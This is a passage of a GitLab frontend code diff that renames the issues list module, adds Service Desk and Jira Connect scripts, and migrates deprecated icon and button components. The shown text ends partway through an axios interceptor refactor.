diff --git a/app/assets/javascripts/issuables_list/eventhub.js b/app/assets/javascripts/issues_list/eventhub.js
index e31806ad199..e31806ad199 100644
--- a/app/assets/javascripts/issuables_list/eventhub.js
+++ b/app/assets/javascripts/issues_list/eventhub.js
diff --git a/app/assets/javascripts/issues_list/index.js b/app/assets/javascripts/issues_list/index.js
new file mode 100644
index 00000000000..1ff41c20d08
--- /dev/null
+++ b/app/assets/javascripts/issues_list/index.js
@@ -0,0 +1,67 @@
+import Vue from 'vue';
+import VueApollo from 'vue-apollo';
+import createDefaultClient from '~/lib/graphql';
+import { parseBoolean, convertObjectPropsToCamelCase } from '~/lib/utils/common_utils';
+import JiraIssuesListRoot from './components/jira_issues_list_root.vue';
+import IssuablesListApp from './components/issuables_list_app.vue';
+
+function mountJiraIssuesListApp() {
+ const el = document.querySelector('.js-projects-issues-root');
+
+ if (!el) {
+ return false;
+ }
+
+ Vue.use(VueApollo);
+
+ const defaultClient = createDefaultClient();
+ const apolloProvider = new VueApollo({
+ defaultClient,
+ });
+
+ return new Vue({
+ el,
+ apolloProvider,
+ render(createComponent) {
+ return createComponent(JiraIssuesListRoot, {
+ props: {
+ canEdit: parseBoolean(el.dataset.canEdit),
+ isJiraConfigured: parseBoolean(el.dataset.isJiraConfigured),
+ issuesPath: el.dataset.issuesPath,
+ projectPath: el.dataset.projectPath,
+ },
+ });
+ },
+ });
+}
+
+function mountIssuablesListApp() {
+ if (!gon.features?.vueIssuablesList && !gon.features?.jiraIssuesIntegration) {
+ return;
+ }
+
+ document.querySelectorAll('.js-issuables-list').forEach(el => {
+ const { canBulkEdit, emptyStateMeta = {}, ...data } = el.dataset;
+
+ return new Vue({
+ el,
+ render(createElement) {
+ return createElement(IssuablesListApp, {
+ props: {
+ ...data,
+ emptyStateMeta:
+ Object.keys(emptyStateMeta).length !== 0
+ ? convertObjectPropsToCamelCase(JSON.parse(emptyStateMeta))
+ : {},
+ canBulkEdit: Boolean(canBulkEdit),
+ },
+ });
+ },
+ });
+ });
+}
+
+export default function initIssuablesList() {
+ mountJiraIssuesListApp();
+ mountIssuablesListApp();
+}
diff --git a/app/assets/javascripts/issuables_list/queries/get_issues_list_details.query.graphql b/app/assets/javascripts/issues_list/queries/get_issues_list_details.query.graphql
index 8f9b888d19b..8f9b888d19b 100644
--- a/app/assets/javascripts/issuables_list/queries/get_issues_list_details.query.graphql
+++ b/app/assets/javascripts/issues_list/queries/get_issues_list_details.query.graphql
diff --git a/app/assets/javascripts/issues_list/service_desk_helper.js b/app/assets/javascripts/issues_list/service_desk_helper.js
new file mode 100644
index 00000000000..0a34b754377
--- /dev/null
+++ b/app/assets/javascripts/issues_list/service_desk_helper.js
@@ -0,0 +1,111 @@
+import { __ } from '~/locale';
+
+/**
+ * Generates empty state messages for Service Desk issues list.
+ *
+ * @param {emptyStateMeta} emptyStateMeta - Meta data used to generate empty state messages
+ * @returns {Object} Object containing empty state messages generated using the meta data.
+ */
+export function generateMessages(emptyStateMeta) {
+ const {
+ svgPath,
+ serviceDeskHelpPage,
+ serviceDeskAddress,
+ editProjectPage,
+ incomingEmailHelpPage,
+ } = emptyStateMeta;
+
+ const serviceDeskSupportedTitle = __(
+ 'Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab',
+ );
+
+ const serviceDeskSupportedMessage = __(
+ 'Those emails automatically become issues (with the comments becoming the email conversation) listed here.',
+ );
+
+ const commonDescription = `
+ <span>${serviceDeskSupportedMessage}</span>
+ <a href="${serviceDeskHelpPage}">${__('Read more')}</a>`;
+
+ return {
+ serviceDeskEnabledAndCanEditProjectSettings: {
+ title: serviceDeskSupportedTitle,
+ svgPath,
+ description: `<p>${__('Have your users email')}
+ <code>${serviceDeskAddress}</code>
+ </p>
+ ${commonDescription}`,
+ },
+ serviceDeskEnabledAndCannotEditProjectSettings: {
+ title: serviceDeskSupportedTitle,
+ svgPath,
+ description: commonDescription,
+ },
+ serviceDeskDisabledAndCanEditProjectSettings: {
+ title: serviceDeskSupportedTitle,
+ svgPath,
+ description: commonDescription,
+ primaryLink: editProjectPage,
+ primaryText: __('Turn on Service Desk'),
+ },
+ serviceDeskDisabledAndCannotEditProjectSettings: {
+ title: serviceDeskSupportedTitle,
+ svgPath,
+ description: commonDescription,
+ },
+ serviceDeskIsNotSupported: {
+ title: __('Service Desk is not supported'),
+ svgPath,
+ description: __(
+ 'In order to enable Service Desk for your instance, you must first set up incoming email.',
+ ),
+ primaryLink: incomingEmailHelpPage,
+ primaryText: __('More information'),
+ },
+ serviceDeskIsNotEnabled: {
+ title: __('Service Desk is not enabled'),
+ svgPath,
+ description: __(
+ 'For help setting up the Service Desk for your instance, please contact an administrator.',
+ ),
+ },
+ };
+}
+
+/**
+ * Returns the attributes used for gl-empty-state in the Service Desk issues list.
+ *
+ * @param {Object} emptyStateMeta - Meta data used to generate empty state messages
+ * @returns {Object}
+ */
+export function emptyStateHelper(emptyStateMeta) {
+ const messages = generateMessages(emptyStateMeta);
+
+ const { isServiceDeskSupported, canEditProjectSettings, isServiceDeskEnabled } = emptyStateMeta;
+
+ if (isServiceDeskSupported) {
+ if (isServiceDeskEnabled && canEditProjectSettings) {
+ return messages.serviceDeskEnabledAndCanEditProjectSettings;
+ }
+
+ if (isServiceDeskEnabled && !canEditProjectSettings) {
+ return messages.serviceDeskEnabledAndCannotEditProjectSettings;
+ }
+
+ // !isServiceDeskEnabled && canEditProjectSettings
+ if (canEditProjectSettings) {
+ return messages.serviceDeskDisabledAndCanEditProjectSettings;
+ }
+
+ // !isServiceDeskEnabled && !canEditProjectSettings
+ return messages.serviceDeskDisabledAndCannotEditProjectSettings;
+ }
+
+ // !serviceDeskSupported && canEditProjectSettings
+ if (canEditProjectSettings) {
+ return messages.serviceDeskIsNotSupported;
+ }
+
+ // !serviceDeskSupported && !canEditProjectSettings
+ return messages.serviceDeskIsNotEnabled;
+}
diff --git a/app/assets/javascripts/jira_connect.js b/app/assets/javascripts/jira_connect.js
new file mode 100644
index 00000000000..895cdc4562c
--- /dev/null
+++ b/app/assets/javascripts/jira_connect.js
@@ -0,0 +1,56 @@
+/* eslint-disable func-names, no-var, no-alert */
+/* global $ */
+/* global AP */
+
+/**
+ * This script is not going through Webpack bundling
+ * as it is only included in `app/views/jira_connect/subscriptions/index.html.haml`
+ * which is going to be rendered within iframe on Jira app dashboard
+ * hence any code written here needs to be IE11+ compatible (no fully ES6)
+ */
+
+function onLoaded() {
+ var reqComplete = function() {
+ AP.navigator.reload();
+ };
+
+ var reqFailed = function(res) {
+ alert(res.responseJSON.error);
+ };
+
+ $('#add-subscription-form').on('submit', function(e) {
+ var actionUrl = $(this).attr('action');
+ e.preventDefault();
+
+ AP.context.getToken(function(token) {
+ // eslint-disable-next-line no-jquery/no-ajax
+ $.post(actionUrl, {
+ jwt: token,
+ namespace_path: $('#namespace-input').val(),
+ format: 'json',
+ })
+ .done(reqComplete)
+ .fail(reqFailed);
+ });
+ });
+
+ $('.remove-subscription').on('click', function(e) {
+ var href = $(this).attr('href');
+ e.preventDefault();
+
+ AP.context.getToken(function(token) {
+ // eslint-disable-next-line no-jquery/no-ajax
+ $.ajax({
+ url: href,
+ method: 'DELETE',
+ data: {
+ jwt: token,
+ format: 'json',
+ },
+ })
+ .done(reqComplete)
+ .fail(reqFailed);
+ });
+ });
+}
+document.addEventListener('DOMContentLoaded', onLoaded);
diff --git a/app/assets/javascripts/jira_import/components/jira_import_form.vue b/app/assets/javascripts/jira_import/components/jira_import_form.vue
index 5bf98682f92..4339021d9a0 100644
--- a/app/assets/javascripts/jira_import/components/jira_import_form.vue
+++ b/app/assets/javascripts/jira_import/components/jira_import_form.vue
@@ -2,9 +2,9 @@
import {
GlAlert,
GlButton,
- GlNewDropdown,
- GlNewDropdownItem,
- GlNewDropdownText,
+ GlDropdown,
+ GlDropdownItem,
+ GlDropdownText,
GlFormGroup,
GlFormSelect,
GlIcon,
@@ -34,9 +34,9 @@ export default {
components: {
GlAlert,
GlButton,
- GlNewDropdown,
- GlNewDropdownItem,
- GlNewDropdownText,
+ GlDropdown,
+ GlDropdownItem,
+ GlDropdownText,
GlFormGroup,
GlFormSelect,
GlIcon,
@@ -293,7 +293,7 @@ export default {
<gl-icon name="arrow-right" :aria-label="__('Will be mapped to')" />
</template>
<template #cell(gitlabUsername)="data">
- <gl-new-dropdown
+ <gl-dropdown
:text="data.value || $options.currentUsername"
class="w-100"
:aria-label="
@@ -301,23 +301,23 @@ export default {
"
@hide="resetDropdown"
>
- <gl-search-box-by-type v-model.trim="searchTerm" class="m-2" />
+ <gl-search-box-by-type v-model.trim="searchTerm" class="gl-m-3" />
<gl-loading-icon v-if="isFetching" />
- <gl-new-dropdown-item
+ <gl-dropdown-item
v-for="user in users"
v-else
:key="user.id"
@click="updateMapping(data.item.jiraAccountId, user.id, user.username)"
>
{{ user.username }} ({{ user.name }})
- </gl-new-dropdown-item>
+ </gl-dropdown-item>
- <gl-new-dropdown-text v-show="shouldShowNoMatchesFoundText" class="text-secondary">
+ <gl-dropdown-text v-show="shouldShowNoMatchesFoundText" class="text-secondary">
{{ __('No matches found') }}
- </gl-new-dropdown-text>
- </gl-new-dropdown>
+ </gl-dropdown-text>
+ </gl-dropdown>
</template>
</gl-table>
diff --git a/app/assets/javascripts/jira_import/utils/jira_import_utils.js b/app/assets/javascripts/jira_import/utils/jira_import_utils.js
index a1186b087e1..edd6fad4aac 100644
--- a/app/assets/javascripts/jira_import/utils/jira_import_utils.js
+++ b/app/assets/javascripts/jira_import/utils/jira_import_utils.js
@@ -1,5 +1,5 @@
import { last } from 'lodash';
-import { JIRA_IMPORT_SUCCESS_ALERT_HIDE_MAP_KEY } from '~/issuables_list/constants';
+import { JIRA_IMPORT_SUCCESS_ALERT_HIDE_MAP_KEY } from '~/issues_list/constants';
export const IMPORT_STATE = {
FAILED: 'failed',
diff --git a/app/assets/javascripts/jobs/components/artifacts_block.vue b/app/assets/javascripts/jobs/components/artifacts_block.vue
index 6183779acd4..2850a8e86fd 100644
--- a/app/assets/javascripts/jobs/components/artifacts_block.vue
+++ b/app/assets/javascripts/jobs/components/artifacts_block.vue
@@ -1,11 +1,12 @@
<script>
-import { GlLink } from '@gitlab/ui';
+import { GlIcon, GlLink } from '@gitlab/ui';
import TimeagoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
import timeagoMixin from '~/vue_shared/mixins/timeago';
export default {
components: {
TimeagoTooltip,
+ GlIcon,
GlLink,
},
mixins: [timeagoMixin],
@@ -14,6 +15,10 @@ export default {
type: Object,
required: true,
},
+ helpUrl: {
+ type: String,
+ required: true,
+ },
},
computed: {
isExpired() {
@@ -40,6 +45,14 @@ export default {
<span v-if="isExpired">{{ s__('Job|The artifacts were removed') }}</span>
<span v-if="willExpire">{{ s__('Job|The artifacts will be removed') }}</span>
<timeago-tooltip v-if="artifact.expire_at" :time="artifact.expire_at" />
+ <gl-link
+ :href="helpUrl"
+ target="_blank"
+ rel="noopener noreferrer nofollow"
+ data-testid="artifact-expired-help-link"
+ >
+ <gl-icon name="question" />
+ </gl-link>
</p>
<p v-else-if="isLocked" class="build-detail-row">
<span data-testid="job-locked-message">{{
@@ -71,6 +84,7 @@ export default {
:href="artifact.browse_path"
class="btn btn-sm btn-default"
data-testid="browse-artifacts"
+ data-qa-selector="browse_artifacts_button"
>{{ s__('Job|Browse') }}</gl-link
>
</div>
diff --git a/app/assets/javascripts/jobs/components/job_app.vue b/app/assets/javascripts/jobs/components/job_app.vue
index e760706c97e..00ff3fb939d 100644
--- a/app/assets/javascripts/jobs/components/job_app.vue
+++ b/app/assets/javascripts/jobs/components/job_app.vue
@@ -1,13 +1,13 @@
<script>
+/* eslint-disable vue/no-v-html */
import { throttle, isEmpty } from 'lodash';
import { mapGetters, mapState, mapActions } from 'vuex';
-import { GlLoadingIcon } from '@gitlab/ui';
+import { GlLoadingIcon, GlIcon } from '@gitlab/ui';
import { GlBreakpointInstance as bp } from '@gitlab/ui/dist/utils';
import { isScrolledToBottom } from '~/lib/utils/scroll_utils';
import { polyfillSticky } from '~/lib/utils/sticky';
import CiHeader from '~/vue_shared/components/header_ci_component.vue';
import Callout from '~/vue_shared/components/callout.vue';
-import Icon from '~/vue_shared/components/icon.vue';
import EmptyState from './empty_state.vue';
import EnvironmentsBlock from './environments_block.vue';
import ErasedBlock from './erased_block.vue';
@@ -27,7 +27,7 @@ export default {
EmptyState,
EnvironmentsBlock,
ErasedBlock,
- Icon,
+ GlIcon,
Log,
LogTopBar,
StuckBlock,
@@ -38,6 +38,11 @@ export default {
},
mixins: [delayedJobMixin],
props: {
+ artifactHelpUrl: {
+ type: String,
+ required: false,
+ default: '',
+ },
runnerSettingsUrl: {
type: String,
required: false,
@@ -266,7 +271,7 @@ export default {
:class="{ 'sticky-top border-bottom-0': hasTrace }"
data-testid="archived-job"
>
- <icon name="lock" class="align-text-bottom" />
+ <gl-icon name="lock" class="align-text-bottom" />
{{ __('This job is archived. Only the complete pipeline can be retried.') }}
</div>
<!-- job log -->
@@ -319,6 +324,7 @@ export default {
'right-sidebar-expanded': isSidebarOpen,
'right-sidebar-collapsed': !isSidebarOpen,
}"
+ :artifact-help-url="artifactHelpUrl"
:runner-help-url="runnerHelpUrl"
data-testid="job-sidebar"
/>
diff --git a/app/assets/javascripts/jobs/components/job_container_item.vue b/app/assets/javascripts/jobs/components/job_container_item.vue
index 7bd299bcfa0..79e6623eca8 100644
--- a/app/assets/javascripts/jobs/components/job_container_item.vue
+++ b/app/assets/javascripts/jobs/components/job_container_item.vue
@@ -1,15 +1,14 @@
<script>
-import { GlLink } from '@gitlab/ui';
+import { GlLink, GlIcon } from '@gitlab/ui';
import tooltip from '~/vue_shared/directives/tooltip';
import CiIcon from '~/vue_shared/components/ci_icon.vue';
-import Icon from '~/vue_shared/components/icon.vue';
import delayedJobMixin from '~/jobs/mixins/delayed_job_mixin';
import { sprintf } from '~/locale';
export default {
components: {
CiIcon,
- Icon,
+ GlIcon,
GlLink,
},
directives: {
@@ -56,7 +55,7 @@ export default {
data-boundary="viewport"
class="js-job-link d-flex"
>
- <icon
+ <gl-icon
v-if="isActive"
name="arrow-right"
class="js-arrow-right icon-arrow-right position-absolute d-block"
@@ -66,7 +65,7 @@ export default {
<span class="text-truncate w-100">{{ job.name ? job.name : job.id }}</span>
- <icon v-if="job.retried" name="retry" class="js-retry-icon" />
+ <gl-icon v-if="job.retried" name="retry" class="js-retry-icon" />
</gl-link>
</div>
</template>
diff --git a/app/assets/javascripts/jobs/components/job_log_controllers.vue b/app/assets/javascripts/jobs/components/job_log_controllers.vue
index 4d314eaa106..7e7d9a0549b 100644
--- a/app/assets/javascripts/jobs/components/job_log_controllers.vue
+++ b/app/assets/javascripts/jobs/components/job_log_controllers.vue
@@ -1,16 +1,15 @@
<script>
-import { GlTooltipDirective, GlLink, GlDeprecatedButton } from '@gitlab/ui';
+/* eslint-disable vue/no-v-html */
+import { GlTooltipDirective, GlLink, GlButton } from '@gitlab/ui';
import { polyfillSticky } from '~/lib/utils/sticky';
-import Icon from '~/vue_shared/components/icon.vue';
import { numberToHumanSize } from '~/lib/utils/number_utils';
import { __, sprintf } from '~/locale';
import scrollDown from '../svg/scroll_down.svg';
export default {
components: {
- Icon,
GlLink,
- GlDeprecatedButton,
+ GlButton,
},
directives: {
GlTooltip: GlTooltipDirective,
@@ -87,18 +86,17 @@ export default {
<div class="controllers float-right">
<!-- links -->
- <gl-link
+ <gl-button
v-if="rawPath"
v-gl-tooltip.body
:title="s__('Job|Show complete raw')"
:href="rawPath"
class="controllers-buttons"
data-testid="job-raw-link-controller"
- >
- <icon name="doc-text" />
- </gl-link>
+ icon="doc-text"
+ />
- <gl-link
+ <gl-button
v-if="erasePath"
v-gl-tooltip.body
:title="s__('Job|Erase job log')"
@@ -107,30 +105,28 @@ export default {
class="controllers-buttons"
data-testid="job-log-erase-link"
data-method="post"
- >
- <icon name="remove" />
- </gl-link>
+ icon="remove"
+ />
<!-- eo links -->
<!-- scroll buttons -->
<div v-gl-tooltip :title="s__('Job|Scroll to top')" class="controllers-buttons">
- <gl-deprecated-button
+ <gl-button
:disabled="isScrollTopDisabled"
- type="button"
class="btn-scroll btn-transparent btn-blank"
data-testid="job-controller-scroll-top"
+ icon="scroll_up"
@click="handleScrollToTop"
- >
- <icon name="scroll_up" />
- </gl-deprecated-button>
+ />
</div>
<div v-gl-tooltip :title="s__('Job|Scroll to bottom')" class="controllers-buttons">
- <gl-deprecated-button
+ <gl-button
:disabled="isScrollBottomDisabled"
class="js-scroll-bottom btn-scroll btn-transparent btn-blank"
- :class="{ animate: isScrollingDown }"
data-testid="job-controller-scroll-bottom"
+ icon="scroll_down"
+ :class="{ animate: isScrollingDown }"
@click="handleScrollToBottom"
v-html="$options.scrollDown"
/>
diff --git a/app/assets/javascripts/jobs/components/log/line.vue b/app/assets/javascripts/jobs/components/log/line.vue
index 48f669ae8ed..e68d5b8eda4 100644
--- a/app/assets/javascripts/jobs/components/log/line.vue
+++ b/app/assets/javascripts/jobs/components/log/line.vue
@@ -20,7 +20,7 @@ export default {
return h(
'span',
{
- class: ['ws-pre-wrap', content.style],
+ class: ['gl-white-space-pre-wrap', content.style],
},
content.text,
);
diff --git a/app/assets/javascripts/jobs/components/log/line_header.vue b/app/assets/javascripts/jobs/components/log/line_header.vue
index 85ccd5996b5..4c1c00cb2a7 100644
--- a/app/assets/javascripts/jobs/components/log/line_header.vue
+++ b/app/assets/javascripts/jobs/components/log/line_header.vue
@@ -1,11 +1,11 @@
<script>
-import Icon from '~/vue_shared/components/icon.vue';
+import { GlIcon } from '@gitlab/ui';
import LineNumber from './line_number.vue';
import DurationBadge from './duration_badge.vue';
export default {
components: {
- Icon,
+ GlIcon,
LineNumber,
DurationBadge,
},
@@ -47,12 +47,12 @@ export default {
role="button"
@click="handleOnClick"
>
- <icon :name="iconName" class="arrow position-absolute" />
+ <gl-icon :name="iconName" class="arrow position-absolute" />
<line-number :line-number="line.lineNumber" :path="path" />
<span
v-for="(content, i) in line.content"
:key="i"
- class="line-text w-100 ws-pre-wrap"
+ class="line-text w-100 gl-white-space-pre-wrap"
:class="content.style"
>{{ content.text }}</span
>
diff --git a/app/assets/javascripts/jobs/components/manual_variables_form.vue b/app/assets/javascripts/jobs/components/manual_variables_form.vue
index 9236624a191..bf1930c9a37 100644
--- a/app/assets/javascripts/jobs/components/manual_variables_form.vue
+++ b/app/assets/javascripts/jobs/components/manual_variables_form.vue
@@ -1,15 +1,14 @@
<script>
+/* eslint-disable vue/no-v-html */
import { uniqueId } from 'lodash';
import { mapActions } from 'vuex';
-import { GlDeprecatedButton } from '@gitlab/ui';
+import { GlButton } from '@gitlab/ui';
import { s__, sprintf } from '~/locale';
-import Icon from '~/vue_shared/components/icon.vue';
export default {
name: 'ManualVariablesForm',
components: {
- GlDeprecatedButton,
- Icon,
+ GlButton,
},
props: {
action: {
@@ -137,12 +136,12 @@ export default {
<div class="table-section section-10">
<div class="table-mobile-header" role="rowheader"></div>
<div class="table-mobile-content justify-content-end">
- <gl-deprecated-button
- class="btn-transparent btn-blank w-25"
+ <gl-button
+ category="tertiary"
+ icon="clear"
+ :aria-label="__('Delete variable')"
@click="deleteVariable(variable.id)"
- >
- <icon name="clear" />
- </gl-deprecated-button>
+ />
</div>
</div>
</div>
@@ -176,9 +175,14 @@ export default {
<p class="text-muted" v-html="helpText"></p>
</div>
<div class="d-flex justify-content-center">
- <gl-deprecated-button variant="primary" @click="triggerManualJob(variables)">
+ <gl-button
+ variant="info"
+ category="primary"
+ :aria-label="__('Trigger manual job')"
+ @click="triggerManualJob(variables)"
+ >
{{ action.button_title }}
- </gl-deprecated-button>
+ </gl-button>
</div>
</div>
</template>
diff --git a/app/assets/javascripts/jobs/components/sidebar.vue b/app/assets/javascripts/jobs/components/sidebar.vue
index 517da16dcf8..aa589989e8a 100644
--- a/app/assets/javascripts/jobs/components/sidebar.vue
+++ b/app/assets/javascripts/jobs/components/sidebar.vue
@@ -1,11 +1,11 @@
<script>
import { isEmpty } from 'lodash';
import { mapActions, mapState } from 'vuex';
-import { GlLink, GlDeprecatedButton } from '@gitlab/ui';
+import { GlLink, GlDeprecatedButton, GlIcon } from '@gitlab/ui';
import { __, sprintf } from '~/locale';
import timeagoMixin from '~/vue_shared/mixins/timeago';
+import TooltipOnTruncate from '~/vue_shared/components/tooltip_on_truncate.vue';
import { timeIntervalInWords } from '~/lib/utils/datetime_utility';
-import Icon from '~/vue_shared/components/icon.vue';
import DetailRow from './sidebar_detail_row.vue';
import ArtifactsBlock from './artifacts_block.vue';
import TriggerBlock from './trigger_block.vue';
@@ -19,15 +19,21 @@ export default {
ArtifactsBlock,
CommitBlock,
DetailRow,
- Icon,
+ GlIcon,
TriggerBlock,
StagesDropdown,
JobsContainer,
GlLink,
GlDeprecatedButton,
+ TooltipOnTruncate,
},
mixins: [timeagoMixin],
props: {
+ artifactHelpUrl: {
+ type: String,
+ required: false,
+ default: '',
+ },
runnerHelpUrl: {
type: String,
required: false,
@@ -112,7 +118,11 @@ export default {
<div class="sidebar-container">
<div class="blocks-container">
<div class="block d-flex flex-nowrap align-items-center">
- <h4 class="my-0 mr-2 text-break-word">{{ job.name }}</h4>
+ <tooltip-on-truncate :title="job.name" truncate-target="child"
+ ><h4 class="my-0 mr-2 gl-text-truncate">
+ {{ job.name }}
+ </h4>
+ </tooltip-on-truncate>
<div class="flex-grow-1 flex-shrink-0 text-right">
<gl-link
v-if="job.retry_path"
@@ -157,7 +167,7 @@ export default {
class="js-terminal-link btn btn-primary btn-inverted visible-md-block visible-lg-block float-left"
target="_blank"
>
- {{ __('Debug') }} <icon name="external-link" :size="14" />
+ {{ __('Debug') }} <gl-icon name="external-link" :size="14" />
</gl-link>
</div>
@@ -203,7 +213,7 @@ export default {
</p>
</div>
- <artifacts-block v-if="hasArtifact" :artifact="job.artifact" />
+ <artifacts-block v-if="hasArtifact" :artifact="job.artifact" :help-url="artifactHelpUrl" />
<trigger-block v-if="hasTriggers" :trigger="job.trigger" />
<commit-block
:is-last-block="hasStages"
diff --git a/app/assets/javascripts/jobs/components/sidebar_detail_row.vue b/app/assets/javascripts/jobs/components/sidebar_detail_row.vue
index b826007ec2c..7d541f93bad 100644
--- a/app/assets/javascripts/jobs/components/sidebar_detail_row.vue
+++ b/app/assets/javascripts/jobs/components/sidebar_detail_row.vue
@@ -1,9 +1,10 @@
<script>
-import { GlLink } from '@gitlab/ui';
+import { GlIcon, GlLink } from '@gitlab/ui';
export default {
name: 'SidebarDetailRow',
components: {
+ GlIcon,
GlLink,
},
props: {
@@ -37,7 +38,7 @@ export default {
<span v-if="hasTitle" class="font-weight-bold">{{ title }}:</span> {{ value }}
<span v-if="hasHelpURL" class="help-button float-right">
<gl-link :href="helpUrl" target="_blank" rel="noopener noreferrer nofollow">
- <i class="fa fa-question-circle" aria-hidden="true"></i>
+ <gl-icon name="question-o" />
</gl-link>
</span>
</p>
diff --git a/app/assets/javascripts/jobs/index.js b/app/assets/javascripts/jobs/index.js
index 024a13ce102..6e15360b66c 100644
--- a/app/assets/javascripts/jobs/index.js
+++ b/app/assets/javascripts/jobs/index.js
@@ -18,6 +18,7 @@ export default () => {
},
render(createElement) {
const {
+ artifactHelpUrl,
deploymentHelpUrl,
runnerHelpUrl,
runnerSettingsUrl,
@@ -32,6 +33,7 @@ export default () => {
return createElement('job-app', {
props: {
+ artifactHelpUrl,
deploymentHelpUrl,
runnerHelpUrl,
runnerSettingsUrl,
diff --git a/app/assets/javascripts/labels_select.js b/app/assets/javascripts/labels_select.js
index 1fb8e270e0e..8e172b4827c 100644
--- a/app/assets/javascripts/labels_select.js
+++ b/app/assets/javascripts/labels_select.js
@@ -12,6 +12,7 @@ import { deprecatedCreateFlash as flash } from './flash';
import ModalStore from './boards/stores/modal_store';
import boardsStore from './boards/stores/boards_store';
import { isScopedLabel } from '~/lib/utils/common_utils';
+import initDeprecatedJQueryDropdown from '~/deprecated_jquery_dropdown';
export default class LabelsSelect {
constructor(els, options = {}) {
@@ -173,7 +174,7 @@ export default class LabelsSelect {
})
.catch(() => flash(__('Error saving label update.')));
};
- $dropdown.glDropdown({
+ initDeprecatedJQueryDropdown($dropdown, {
showMenuAbove,
data(term, callback) {
const labelUrl = $dropdown.attr('data-labels');
@@ -203,7 +204,7 @@ export default class LabelsSelect {
callback(data);
if (showMenuAbove) {
- $dropdown.data('glDropdown').positionMenuAbove();
+ $dropdown.data('deprecatedJQueryDropdown').positionMenuAbove();
}
})
.catch(() => flash(__('Error fetching labels.')));
@@ -348,7 +349,7 @@ export default class LabelsSelect {
} else {
if (!$dropdown.hasClass('js-filter-bulk-update')) {
saveLabelData();
- $dropdown.data('glDropdown').clearMenu();
+ $dropdown.data('deprecatedJQueryDropdown').clearMenu();
}
}
}
@@ -455,7 +456,7 @@ export default class LabelsSelect {
if ($dropdown.hasClass('js-issue-board-sidebar')) {
const previousSelection = $dropdown.attr('data-selected');
this.selected = previousSelection ? previousSelection.split(',') : [];
- $dropdown.data('glDropdown').updateLabel();
+ $dropdown.data('deprecatedJQueryDropdown').updateLabel();
}
},
preserveContext: true,
diff --git a/app/assets/javascripts/layout_nav.js b/app/assets/javascripts/layout_nav.js
index 0ecf3301250..d7f5e6f8a5e 100644
--- a/app/assets/javascripts/layout_nav.js
+++ b/app/assets/javascripts/layout_nav.js
@@ -1,7 +1,6 @@
import $ from 'jquery';
import ContextualSidebar from './contextual_sidebar';
import initFlyOutNav from './fly_out_nav';
-import initWhatsNew from '~/whats_new';
function hideEndFade($scrollingTabs) {
$scrollingTabs.each(function scrollTabsLoop() {
@@ -14,6 +13,17 @@ function hideEndFade($scrollingTabs) {
function initDeferred() {
$(document).trigger('init.scrolling-tabs');
+
+ const whatsNewTriggerEl = document.querySelector('.js-whats-new-trigger');
+ if (whatsNewTriggerEl) {
+ whatsNewTriggerEl.addEventListener('click', () => {
+ import(/* webpackChunkName: 'whatsNewApp' */ '~/whats_new')
+ .then(({ default: initWhatsNew }) => {
+ initWhatsNew();
+ })
+ .catch(() => {});
+ });
+ }
}
export default function initLayoutNav() {
@@ -21,7 +31,6 @@ export default function initLayoutNav() {
contextualSidebar.bindEvents();
initFlyOutNav();
- initWhatsNew();
// We need to init it on DomContentLoaded as others could also call it
$(document).on('init.scrolling-tabs', () => {
diff --git a/app/assets/javascripts/lib/graphql.js b/app/assets/javascripts/lib/graphql.js
index 4fed121779e..d2907f401c0 100644
--- a/app/assets/javascripts/lib/graphql.js
+++ b/app/assets/javascripts/lib/graphql.js
@@ -4,6 +4,7 @@ import { createUploadLink } from 'apollo-upload-client';
import { ApolloLink } from 'apollo-link';
import { BatchHttpLink } from 'apollo-link-batch-http';
import csrf from '~/lib/utils/csrf';
+import PerformanceBarService from '~/performance_bar/services/performance_bar_service';
export const fetchPolicies = {
CACHE_FIRST: 'cache-first',
@@ -32,13 +33,35 @@ export default (resolvers = {}, config = {}) => {
credentials: 'same-origin',
};
+ const uploadsLink = ApolloLink.split(
+ operation => operation.getContext().hasUpload || operation.getContext().isSingleRequest,
+ createUploadLink(httpOptions),
+ new BatchHttpLink(httpOptions),
+ );
+
+ const performanceBarLink = new ApolloLink((operation, forward) => {
+ return forward(operation).map(response => {
+ const httpResponse = operation.getContext().response;
+
+ if (PerformanceBarService.interceptor) {
+ PerformanceBarService.interceptor({
+ config: {
+ url: httpResponse.url,
+ },
+ headers: {
+ 'x-request-id': httpResponse.headers.get('x-request-id'),
+ 'x-gitlab-from-cache': httpResponse.headers.get('x-gitlab-from-cache'),
+ },
+ });
+ }
+
+ return response;
+ });
+ });
+
return new ApolloClient({
typeDefs: config.typeDefs,
- link: ApolloLink.split(
- operation => operation.getContext().hasUpload || operation.getContext().isSingleRequest,
- createUploadLink(httpOptions),
- new BatchHttpLink(httpOptions),
- ),
+ link: ApolloLink.from([performanceBarLink, uploadsLink]),
cache: new InMemoryCache({
...config.cacheConfig,
freezeResults: config.assumeImmutableResults,
diff --git a/app/assets/javascripts/lib/utils/axios_startup_calls.js b/app/assets/javascripts/lib/utils/axios_startup_calls.js
index a047cebc8ab..7e2665b910c 100644
--- a/app/assets/javascripts/lib/utils/axios_startup_calls.js
+++ b/app/assets/javascripts/lib/utils/axios_startup_calls.js
@@ -10,6 +10,32 @@ const getFullUrl = req => {
return mergeUrlParams(req.params || {}, url);
};
+const handleStartupCall = async ({ fetchCall }, req) => {
+ const res = await fetchCall;
+ if (!res.ok) {
+ throw new Error(res.statusText);
+ }
+
+ const fetchHeaders = {};
+ res.headers.forEach((val, key) => {
+ fetchHeaders[key] = val;
+ });
+
+ const data = await res.clone().json();
+
+ Object.assign(req, {
+ adapter: () =>
+ Promise.resolve({
+ data,
+ status: res.status,
+ statusText: res.statusText,
+ headers: fetchHeaders,
+ config: req,
+ request: req,
+ }),
+ });
+};
+
const setupAxiosStartupCalls = axios => {
const { startup_calls: startupCalls } = window.gl || {};
@@ -17,35 +43,28 @@ const setupAxiosStartupCalls = axios => {
return;
}
- // TODO: To save performance of future axios calls, we can
- // remove this interceptor once the "startupCalls" have been loaded
- axios.interceptors.request.use(req => {
+ const remainingCalls = new Map(Object.entries(startupCalls));
+
+ const interceptor = axios.interceptors.request.use(async req => {
const fullUrl = getFullUrl(req);
- const existing = startupCalls[fullUrl];
-
- if (existing) {
- // eslint-disable-next-line no-param-reassign
- req.adapter = () =>
- existing.fetchCall.then(res => {
- const fetchHeaders = {};
- res.headers.forEach((val, key) => {
- fetchHeaders[key] = val;
- });
-
- // eslint-disable-next-line promise/no-nesting
- return res
- .clone()
- .json()
- .then(data => ({
- data,
- status: res.status,
- statusText: res.statusText,
- headers: fetchHeaders,
- config: req,
